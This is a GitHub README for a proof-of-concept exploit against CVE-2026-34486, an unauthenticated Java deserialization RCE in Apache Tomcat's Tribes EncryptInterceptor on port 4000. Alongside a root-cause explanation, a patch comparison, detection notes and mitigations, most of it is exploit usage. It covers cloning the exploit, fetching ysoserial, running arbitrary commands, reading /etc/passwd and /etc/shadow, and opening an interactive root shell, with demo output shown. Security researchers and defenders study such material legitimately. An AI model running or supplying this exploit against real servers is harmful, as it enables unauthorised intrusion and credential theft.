Skip to content

Latest commit

 

History

2 Commits

Folders and files

NameName
Last commit message
Last commit date
 
 
 
 

Repository files navigation

CVE-2026-34486 — Apache Tomcat EncryptInterceptor RCE

Apache Tomcat Tribes cluster communication module fails to discard messages when EncryptInterceptor decryption fails, allowing unauthenticated attackers to trigger Remote Code Execution via Java deserialization on port 4000.

Apache Tomcat CVE CVSS Python Java Docker License


Vulnerability Details

Field Info
CVE ID CVE-2026-34486
CVSS Score 7.5 (High)
Component Apache Tomcat Tribes EncryptInterceptor
Affected Versions 9.0.0.M1 – 9.0.116 / 10.1.0-M1 – 10.1.53 / 11.0.0-M1 – 11.0.20
Fixed Versions 9.0.117 / 10.1.54 / 11.0.21
Vulnerability Type Unauthenticated Remote Code Execution via Deserialization
Attack Vector Network / No Authentication / Low Complexity
Attack Port TCP 4000 (Tribes NioReceiver)

Root Cause

Apache Tomcat's clustering feature uses the Tribes framework to synchronize session data between cluster nodes, listening on TCP port 4000 by default.

When EncryptInterceptor (AES/CBC) is enabled, the following logic flaw exists:

// EncryptInterceptor.java — vulnerable version
public void messageReceived(ChannelMessage msg) {
    try {
        byte[] decrypted = decrypt(msg.getMessage().getBytes());
        // process decrypted message...
    } catch (Exception e) {
        log.error("Failed to decrypt message", e);  // only logs the error
    }
    super.messageReceived(msg);  // ← BUG: raw bytes forwarded even after decryption failure
}

The catch block only logs the error. Since super.messageReceived(msg) is outside the try-catch, the raw unencrypted bytes are forwarded to XByteBuffer.deserialize()ObjectInputStream.readObject().

An attacker can send a crafted deserialization payload to trigger RCE without any authentication.

Attack Chain

Attacker  ──TCP:4000──►  NioReceiver (no auth)
                               │
                    EncryptInterceptor.messageReceived()
                      try  { AES/CBC decrypt → IllegalBlockSizeException }
                      catch{ log.severe("Failed to decrypt") }  ← only log trace
                      super.messageReceived(msg)                ← BUG: raw bytes pass through
                               │
                    GroupChannel → XByteBuffer.deserialize()
                               │
                    ObjectInputStream.readObject()              ← deserialization triggered
                               │
                    CommonsCollections6 Gadget Chain
                               │
                    Runtime.exec()  →  RCE as root  🔴

Patch (9.0.117)

The fix moves super.messageReceived(msg) inside the try block, so any decryption failure causes the message to be silently dropped (fail-closed).

// EncryptInterceptor.java — patched version
public void messageReceived(ChannelMessage msg) {
    try {
        byte[] decrypted = decrypt(msg.getMessage().getBytes());
        // process...
        super.messageReceived(msg);  // ← FIXED: only reached if decryption succeeds
    } catch (Exception e) {
        log.error("Failed to decrypt message", e);  // message is discarded
    }
}

Requirements

  • Python 3.6+
  • Java 11+ (java and javac in PATH)
  • Docker (for lab deployment)
  • ysoserial-all.jar
  • apache-tomcat-9.0.116 (for Tribes library)

Lab Setup

Pull the pre-built vulnerable image

docker run -d \
  --name tomcat-cve-2026-34486 \
  -p 8080:8080 \
  -p 4000:4000 \
  nowday3/cve-2026-34486:latest

# Verify
curl http://localhost:8080

Download Exp&Dependencies

# exp
git clone https://github.com/404-src/CVE-2026-34486
cd CVE-2026-34486/

# ysoserial
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar

# Tomcat 9.0.116 (for Tribes library)
wget https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.116/bin/apache-tomcat-9.0.116.tar.gz
tar xzf apache-tomcat-9.0.116.tar.gz
cp apache-tomcat-9.0.116/bin/tomcat-juli.jar apache-tomcat-9.0.116/lib/

Exploitation

Basic RCE verification

python3 exp.py -t 127.0.0.1 -p 4000 -c "touch /tmp/pwned"

# Verify
docker exec tomcat-cve-2026-34486 ls -la /tmp/pwned

RCE with output (recommended)

python3 exp.py -t 127.0.0.1 -p 4000 --rce "id"
# Output: uid=0(root) gid=0(root) groups=0(root)

python3 exp.py -t 127.0.0.1 -p 4000 --rce "cat /etc/passwd"
python3 exp.py -t 127.0.0.1 -p 4000 --rce "cat /etc/shadow"

Interactive shell mode

python3 exp.py -t 127.0.0.1 -p 4000 --shell

# rce@127.0.0.1$ id
# rce@127.0.0.1$ hostname
# rce@127.0.0.1$ exit

Custom paths

python3 exp.py -t 127.0.0.1 -p 4000 --rce "id" \
  --ysoserial ./ysoserial-all.jar \
  --tomcat-lib ./apache-tomcat-9.0.116/lib

exp.py Options

-t, --target      Target IP (default: 127.0.0.1)
-p, --port        Tribes port (default: 4000)
    --http-port   HTTP port for output retrieval (default: 8080)
-c, --command     Execute command directly (no shell features)
    --rce         Execute command and retrieve output via HTTP
    --shell       Interactive shell mode
-g, --gadget      Gadget chain (default: CommonsCollections6)
    --ysoserial   Path to ysoserial jar
    --tomcat-lib  Path to Tomcat lib directory

Demo

$ python3 exp.py -t 127.0.0.1 -p 4000 --rce "id"

 ██████╗██╗   ██╗███████╗    ██████╗  ██████╗ ██████╗ ██████╗
██╔════╝██║   ██║██╔════╝    ╚════██╗██╔═══██╗╚════██╗██╔════╝
██║     ██║   ██║█████╗█████╗ █████╔╝██║   ██║ █████╔╝███████╗
██║     ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ██║▄▄ ██║██╔═══╝ ██╔══██║
╚██████╗ ╚████╔╝ ███████╗    ███████╗╚██████╔╝███████╗╚██████╔╝
                                                          34486

Apache Tomcat EncryptInterceptor Bypass → Deserialization → RCE

Target     : 127.0.0.1:4000
Gadget     : CommonsCollections6

[*] Compiling TribesClient.java ...
[+] Compiled successfully
[*] Generating CommonsCollections6 payload ...
[+] Payload: 1361 bytes
[*] Sending Tribes frame → 127.0.0.1:4000
    [tribes] frame=1496B cdBytes=1478B
[+] Frame sent!
[*] Fetching result: http://127.0.0.1:8080/.out.txt

    uid=0(root) gid=0(root) groups=0(root)

Detection & Indicators of Compromise

The only log trace left by the attack:

SEVERE [Tribes-Task-Receiver[Catalina-Channel]-1]
org.apache.catalina.tribes.group.interceptors.EncryptInterceptor.messageReceived
Failed to decrypt message
  javax.crypto.IllegalBlockSizeException: Input length must be multiple of 16
  when decrypting with padded cipher

No readObject exception is logged — the command executes silently.

Mitigation

Action Priority
Upgrade to Tomcat 9.0.117 / 10.1.54 / 11.0.21 Critical
Restrict port 4000 to trusted cluster IPs only High
Monitor logs for repeated Failed to decrypt message Medium
Disable Tribes clustering if not needed High


References


Disclaimer

This project is intended for authorized security research, penetration testing, and educational purposes only. Do not use this tool against systems you do not own or have explicit permission to test. The author assumes no liability for any misuse or damage caused by this tool.


License

MIT License © 2026 404-src

About

Apache Tomcat EncryptInterceptor Bypass → Unauthenticated RCE (CVE-2026-34486)

Resources

Stars

9 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages